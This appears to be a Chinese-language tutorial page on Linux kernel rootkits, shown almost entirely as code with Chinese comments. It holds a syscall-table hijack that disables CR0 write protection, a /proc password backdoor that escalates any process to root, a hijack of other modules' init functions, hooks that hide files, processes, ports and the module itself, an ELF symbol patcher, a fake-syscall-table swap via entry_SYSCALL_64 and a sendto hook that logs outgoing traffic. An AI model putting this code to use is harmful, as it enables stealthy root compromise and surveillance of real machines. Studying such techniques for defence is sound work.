LibreCrops 中文文档项目¶

unsigned long **
get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;

  for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
    if (entry[__NR_close] == (unsigned long *)sys_close) {
        return entry;
      }
  }

  return NULL;
}

static inline unsigned long read_cr0(void);

static inline void write_cr0(unsigned long x);

void
disable_write_protection(void)
{
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  write_cr0(cr0);
}

void
enable_write_protection(void)
{
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  write_cr0(cr0);
}

static __always_inline void
set_bit(long nr, volatile unsigned long *addr);

static __always_inline void
clear_bit(long nr, volatile unsigned long *addr);

disable_write_protection();
real_open = (void *)sys_call_table[__NR_open];
sys_call_table[__NR_open] = (unsigned long*)fake_open;
real_unlink = (void *)sys_call_table[__NR_unlink];
sys_call_table[__NR_unlink] = (unsigned long*)fake_unlink;
real_unlinkat = (void *)sys_call_table[__NR_unlinkat];
sys_call_table[__NR_unlinkat] = (unsigned long*)fake_unlinkat;
enable_write_protection();

disable_write_protection();
sys_call_table[__NR_open] = (unsigned long*)real_open;
sys_call_table[__NR_unlink] = (unsigned long*)real_unlink;
sys_call_table[__NR_unlinkat] = (unsigned long*)real_unlinkat;
enable_write_protection();

asmlinkage long
fake_open(const char __user *filename, int flags, umode_t mode)
{
  if ((flags & O_CREAT) && strcmp(filename, "/dev/null") != 0) {
    printk(KERN_ALERT "open: %s\n", filename);
  }

  return real_open(filename, flags, mode);
}

asmlinkage long
fake_unlink(const char __user *pathname)
{
  printk(KERN_ALERT "unlink: %s\n", pathname);

  return real_unlink(pathname);
}

asmlinkage long
fake_unlinkat(int dfd, const char __user * pathname, int flag)
{
  printk(KERN_ALERT "unlinkat: %s\n", pathname);

  return real_unlinkat(dfd, pathname, flag);
}

# include <linux/proc_fs.h>

static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);

void
proc_remove(struct proc_dir_entry *entry);

struct proc_dir_entry *entry;

entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);

proc_remove(entry);

ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);

struct file_operations proc_fops = {
    .write = write_handler
};

ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;

    // 分配内存。
    kbuff = kmalloc(count, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }

    // 复制到内核缓冲区。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;

    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {

        // 用户进程写入的内容是我们的口令或者密码，
        // 把进程的 ``uid`` 与 ``gid`` 等等
        // 都设置成 ``root`` 账号的，将其提权到 ``root``。
        fm_alert("%s\n", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
        fm_alert("%s\n", "See you!");
    } else {
        // 密码错误，拒绝提权。
        fm_alert("Alien, get out of here: %s.\n", kbuff);
    }

    kfree(buff);
    return count;
}

SYSCALL_DEFINE3(init_module, void __user *, umod,
         unsigned long, len, const char __user *, uargs)
{
     int err;
     struct load_info info = { };

     // 检查当前设置是否允许加载内核模块。
     err = may_init_module();

     if (err)
         return err;

     pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
            umod, len, uargs);

     // 复制模块到内核。
     err = copy_module_from_user(umod, len, &info);
     if (err)
         return err;

     // 交给 ``load_module`` 进一步处理。
     return load_module(&info, uargs, 0);
}

static int load_module(struct load_info *info, const char __user *uargs,
            int flags)
{
     // 这儿省略若干代码。

     /* Finally it's fully formed, ready to start executing. */
     // 模块已经完成加载，可以开始执行了（但是还没有执行）。
     err = complete_formation(mod, info);
     if (err)
         goto ddebug_cleanup;

     // 我们注册的通知处理函数会在 ``prepare_coming_module`` 的
     // 时候被调用，完成偷天换日。在下面我们还会分析一下这个函数。
     err = prepare_coming_module(mod);
     if (err)
         goto bug_cleanup;

     // 这儿省略若干代码。

     // 在 ``do_init_module`` 里面，模块的初始函数会被执行。
     // 然而在这个时候，我们早就把他的初始化函数掉包了（/偷笑）。
     return do_init_module(mod);

     // 这儿省略若干代码：错误时释放资源等。
}

static int prepare_coming_module(struct module *mod)
{
     int err;

     ftrace_module_enable(mod);
     err = klp_module_coming(mod);
     if (err)
         return err;

     // 就是这儿！调用通知链中的通知处理函数。
     // ``MODULE_STATE_COMING`` 会原封不动地传递给我们的处理函数，
     // 我们的处理函数只需处理这个通知。
     blocking_notifier_call_chain(&module_notify_list,
                      MODULE_STATE_COMING, mod);
     return 0;
}

typedef  int (*notifier_fn_t)(struct notifier_block *nb,
             unsigned long action, void *data);

struct notifier_block {
     notifier_fn_t notifier_call;
     struct notifier_block __rcu *next;
     int priority;
};

int
register_module_notifier(struct notifier_block *nb);

int
unregister_module_notifier(struct notifier_block *nb);

int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);

struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

int
fake_init(void);
void
fake_exit(void);


int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定义锁。
    DEFINE_SPINLOCK(module_notifier_spinlock);

    module = data;
    fm_alert("Processing the module: %s\n", module->name);

    //保存中断状态加锁。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s.\n",
                 module->name);
        // 偷天换日：篡改模块的初始函数与退出函数。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }

    // 恢复中断状态解锁。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);

    return NOTIFY_DONE;
}


int
fake_init(void)
{
    fm_alert("%s\n", "Fake init.");

    return 0;
}


void
fake_exit(void)
{
    fm_alert("%s\n", "Fake exit.");

    return;
}

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 备份真的 ``filldir``，以备后面之需。
    real_filldir = ctx->actor;

    // 把 ``struct dir_context`` 里的 ``actor``，
    // 也就是真的 ``filldir``
    // 替换成我们的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;

    return real_iterate(filp, ctx);
}


int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要隐藏的文件，直接返回，不填到缓冲区里。
        fm_alert("Hiding: %s", name);
        return 0;
    }

    /* pr_cont("%s ", name); */

    // 如果不是需要隐藏的文件，
    // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

# define set_f_op(op, path, new, old)                       \
    do {                                                    \
        struct file *filp;                                  \
        struct file_operations *f_op;                       \
                                                            \
        fm_alert("Opening the path: %s.\n", path);          \
        filp = filp_open(path, O_RDONLY, 0);                \
        if (IS_ERR(filp)) {                                 \
            fm_alert("Failed to open %s with error %ld.\n", \
                     path, PTR_ERR(filp));                  \
            old = NULL;                                     \
        } else {                                            \
            fm_alert("Succeeded in opening: %s\n", path);   \
            f_op = (struct file_operations *)filp->f_op;    \
            old = f_op->op;                                 \
                                                            \
            fm_alert("Changing iterate from %p to %p.\n",   \
                     old, new);                             \
            disable_write_protection();                     \
            f_op->op = new;                                 \
            enable_write_protection();                      \
        }                                                   \
    } while(0)

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;

    // 把字符串变成长整数。
    pid = simple_strtol(name, &endp, 10);

    if (pid == SECRET_PROC) {
        // 是我们需要隐藏的进程，直接返回。
        fm_alert("Hiding pid: %ld", pid);
        return 0;
    }

    /* pr_cont("%s ", name); */

    // 不是需要隐藏的进程，交给真的 ``filldir`` 填到缓冲区里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

struct seq_operations {
     void * (*start) (struct seq_file *m, loff_t *pos);
     void (*stop) (struct seq_file *m, void *v);
     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
     int (*show) (struct seq_file *m, void *v);
};

struct seq_file {
     char *buf; // 缓冲区。
     size_t size; // 缓冲区容量。
     size_t from;
     size_t count; // 缓冲区已经使用的量。
     size_t pad_until;
     loff_t index;
     loff_t read_pos;
     u64 version;
     struct mutex lock;
     const struct seq_operations *op;
     int poll_event;
     const struct file *file;
     void *private;
};

# define set_afinfo_seq_op(op, path, afinfo_struct, new, old)   \
    do {                                                        \
        struct file *filp;                                      \
        afinfo_struct *afinfo;                                  \
                                                                \
        filp = filp_open(path, O_RDONLY, 0);                    \
        if (IS_ERR(filp)) {                                     \
            fm_alert("Failed to open %s with error %ld.\n",     \
                     path, PTR_ERR(filp));                      \
            old = NULL;                                         \
        }                                                       \
                                                                \
        afinfo = PDE_DATA(filp->f_path.dentry->d_inode);        \
        old = afinfo->seq_ops.op;                               \
        fm_alert("Setting seq_op->" #op " from %p to %p.",      \
                 old, new);                                     \
        afinfo->seq_ops.op = new;                               \
                                                                \
        filp_close(filp, 0);                                    \
    } while (0)

int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    char needle[NEEDLE_LEN];

    // 把端口转换成 16 进制，前面带个分号，避免误判。
    // 用来判断这项记录是否需要过滤掉。
    snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
    // real_seq_show 会往 buf 里填充一项记录
    ret = real_seq_show(seq, v);

    // 该项记录的起始 = 缓冲区起始 + 已有量 - 每条记录的大小。
    if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
        fm_alert("Hiding port %d using needle %s.\n",
                 SECRET_PORT, needle);
        // 记录里包含我们需要隐藏的的端口信息，
        // 把 count 减掉一个记录大小，
        // 相当于把这个记录去除掉了。
        seq->count -= TMPSZ;
    }

    return ret;
}

# define set_file_seq_op(opname, path, new, old)                    \
    do {                                                            \
        struct file *filp;                                          \
        struct seq_file *seq;                                       \
        struct seq_operations *seq_op;                              \
                                                                    \
        fm_alert("Opening the path: %s.\n", path);                  \
        filp = filp_open(path, O_RDONLY, 0);                        \
        if (IS_ERR(filp)) {                                         \
            fm_alert("Failed to open %s with error %ld.\n",         \
                     path, PTR_ERR(filp));                          \
            old = NULL;                                             \
        } else {                                                    \
            fm_alert("Succeeded in opening: %s\n", path);           \
            seq = (struct seq_file *)filp->private_data;            \
            seq_op = (struct seq_operations *)seq->op;              \
            old = seq_op->opname;                                   \
                                                                    \
            fm_alert("Changing seq_op->"#opname" from %p to %p.\n", \
                     old, new);                                     \
            disable_write_protection();                             \
            seq_op->opname = new;                                   \
            enable_write_protection();                              \
        }                                                           \
    } while (0)

seq = (struct seq_file *)filp->private_data;

static const struct seq_operations modules_op = {
     .start  = m_start,
     .next   = m_next,
     .stop   = m_stop,
     .show   = m_show
};

static int modules_open(struct inode *inode, struct file *file)
{
     return seq_open(file, &modules_op);
}

int seq_open(struct file *file, const struct seq_operations *op)
{
     struct seq_file *p;

     WARN_ON(file->private_data);

     // 分配一个 ``struct seq_file`` 的 内存。
     p = kzalloc(sizeof(*p), GFP_KERNEL);
     if (!p)
         return -ENOMEM;

     // 读者看到这一行应该就能理解了。
     // 对 ``/proc/modules`` 而言，
     // ``struct file`` 的 ``private_data`` 指向的就是
     // 他的 ``struct seq_file``。
     file->private_data = p;

     mutex_init(&p->lock);
     // 把 ``struct seq_file`` 的 ``op`` 成员赋值成 ``op``，
     // 这个 ``op`` 里就包含了我们要钩的 ``m_show`` 。
     p->op = op;

     // 这儿省略若干代码。

     return 0;
}

int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    size_t last_count, last_size;

    // 保存一份 ``count`` 值，
    // 下面的 ``real_seq_show`` 会往缓冲区里填充一条记录，
    // 添加完成后，seq->count 也会增加。
    last_count = seq->count;
    ret =  real_seq_show(seq, v);

    // 填充记录之后的 count 减去填充之前的 count
    // 就可以得到填充的这条记录的大小了。
    last_size = seq->count - last_count;

    if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,
                last_size)) {
        // 是需要隐藏的模块，
        // 把缓冲区已经使用的量减去这条记录的长度，
        // 也就相当于把这条记录去掉了。
        fm_alert("Hiding module: %s\n", SECRET_MODULE);
        seq->count -= last_size;
    }

    return ret;
}

// 获取 .symtab 的头。
Elf64_Shdr *symtab = get_section_by_name(".symtab",
                                         header,
                                         sec_header_tab,
                                         shstrtab);

// 这儿省略获取 .strtab 的头，与获取 .symtab 的头类似。

// 这儿省略对是否获取成功的检查。

// 分配 .symtab 大小的内存。
Elf64_Sym *syms = malloc(symtab->sh_size);
if (syms == NULL) {
    perror("malloc");
    return EXIT_FAILURE;
}
// 定位到 .symtab 的文件偏移。
fseek(fp, symtab->sh_offset, SEEK_SET);
// 读取 .symtab。
if (fread(syms, 1, symtab->sh_size, fp) != symtab->sh_size) {
    fprintf(stderr, "%s\n", "Incomplete Symbol Table!");
    return EXIT_FAILURE;
}

// 这儿省略 .strtab 的读取，与 .symtab 的读取类似。

printf("%s\n",
       "num    index    size    value  info other  name");
int total = symtab->sh_size / symtab->sh_entsize;
for (int count = 0; count < total; count += 1) {
    printf("%4llu %4llx %8llu %8llx %4x %4x %s\n",
           count,
           syms[count].st_shndx,
           syms[count].st_size,
           syms[count].st_value,
           syms[count].st_info,
           syms[count].st_other,
           strs + syms[count].st_name);
}

for (int count = 0; count < total; count += 1) {
    // 判断当前遍历到的符号是不是我们给定的符号。
    // 请注意，argv[2] 位置参数用来给定符号的名字。
    if (strcmp(strs + syms[count].st_name, argv[2]) == 0) {
       // 如果是，就会执行进来。
       // 判断位置参数的个数。
        if (argc == 4) {
            // 如果给定了 3 个位置参数，执行到这里。
            // 这时是 setsym 的第二种用法。
            // 即 setsym <module_path> <symbol_name> <symbol_value> 。
            // 也就是设置给定符号的值。

            // 取当前符号。
            Elf64_Sym sym = syms[count];
            char *endp;
            errno = 0;
            // 将 argv[3] 转换成整数。
            // 注意 argv[3] 是需要设置的给定符号的值。
            unsigned long long val = strtoull(argv[3], &endp, 0);
            // 处理转换时可能出现的错误。
            if ((errno == ERANGE && val == ULLONG_MAX) ||
                (errno != 0 && val == 0)) {
                perror("strtoull");
                return EXIT_FAILURE;
            }
            // 处理转换时可能出现的错误。
            if (endp == argv[3]) {
                fprintf(stderr, "%s\n", "No Valid Number!");
                return EXIT_FAILURE;
            }
            // 把符号的值改成给定的值。
            sym.st_value = val;

            // 计算当前符号距离 .symtab 起始的偏移。
            long delta = count * symtab->sh_entsize;
            // 定位到当前符号的文件偏移。
            fseek(fp, symtab->sh_offset + delta, SEEK_SET);
            // 写入修改后的符号。
            if (fwrite(&sym, 1, sizeof sym, fp) != sizeof sym) {
                fprintf(stderr, "%s\n", "Incomplete Sym Write!");
                return EXIT_FAILURE;
            } else {
                fprintf(stderr, "%s\n", "Writing complete.");
            }
        } else {
            // 如果给定了 2 个位置参数，执行到这里。
            // 请注意，我们在程序的开始部分就把 argc 限制在了
            // 3 或者 4 。

            // 这时是 setsym 的第一种用法。
            // 即 setsym <module_path> <symbol_name> 。
            // 获取给定符号的值。
            printf("0x%llx\n", syms[count].st_value);
        }
    }
}

// get_lstar_sct_addr 用于获取 entry_SYSCALL_64 机器码中编码着
// sys_call_table 地址的那几个字节在内存中的起始地址。
void *
get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;

    // 从 MSR_LSTAR 里读出 entry_SYSCALL_64 的地址。
    rdmsrl(MSR_LSTAR, lstar);

    // 开始搜索。
    for (index = 0; index <= PAGE_SIZE; index += 1) {
        u8 *arr = (u8 *)lstar + index;

        // 判断当前的位置的三个字节是否是特征字节。
        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
            // 找到了特征字节，将目标的地址返回。
            return arr + 3;
        }
    }

    return NULL;
}

unsigned long **
get_lstar_sct(void)
{
    // 获取目标地址。
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        // 获取 32 比特。
        u32 code = *(u32 *)lstar_sct_addr;
        // 直接把高 32 比特填 1 就好了。
        return (void *)(base | code);
    } else {
        return NULL;
    }
}

int
set_lstar_sct(u32 address)
{
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u8 *arr = (u8 *)lstar_sct_addr;
        u8 *new = (u8 *)&address;

        fm_alert("%02x %02x %02x %02x\n",
                 arr[0], arr[1], arr[2], arr[3]);
        fm_alert("%02x %02x %02x %02x\n",
                 new[0], new[1], new[2], new[3]);

        disable_wp();
        memcpy(lstar_sct_addr, &address, sizeof address);
        enable_wp();

        return 0;
    } else {
        return 1;
    }
}

real_sct = get_sct_via_sys_close();
if (real_sct == NULL) {
    return 1;
}

real_phys = virt_to_phys(real_sct);
fm_alert("real sys_call_table: %p phys: %llx\n",
         real_sct, real_phys);
fm_alert("fake sys_call_table: %p phys: %llx\n",
         fake_sct, virt_to_phys(fake_sct));

// 复制真表的内容到假表。
memcpy(fake_sct, real_sct, sizeof fake_sct);

// 钩调假表中的 sys_sendto。
HOOK_SCT(fake_sct, sendto);

// 把 entry_SYSCALL_64 中的真表地址替换成假表地址。
set_lstar_sct((u32)(unsigned long)fake_sct);

asmlinkage long
fake_sendto(int fd, void __user *buff, size_t len, unsigned flags,
            struct sockaddr __user *addr, int addr_len)
{
    void *kbuf = kmalloc(len + 1, GFP_KERNEL);
    if (kbuf != NULL) {
        if (copy_from_user(kbuf, buff, len)) {
            fm_alert("%s\n", "copy_from_user failed.");
        } else {
            if (memcmp(kbuf, "GET", 3) == 0 ||
                memcmp(kbuf, "POST", 4) == 0) {
                // 如果是 GET 与 POST 我们就按文本方式打印到日志。
                print_ascii(kbuf, len, "ascii");
            } else {
                // 如果是其他内容，打印 16 进制 dump 到日志。
                print_memory(kbuf, len, "memory");
            }
        }
        kfree(kbuf);
    } else {
        fm_alert("%s\n", "kmalloc failed.");
    }

    // 交给真的 sys_sendto 处理，并返回。
    return real_sendto(fd, buff, len, flags, addr, addr_len);
}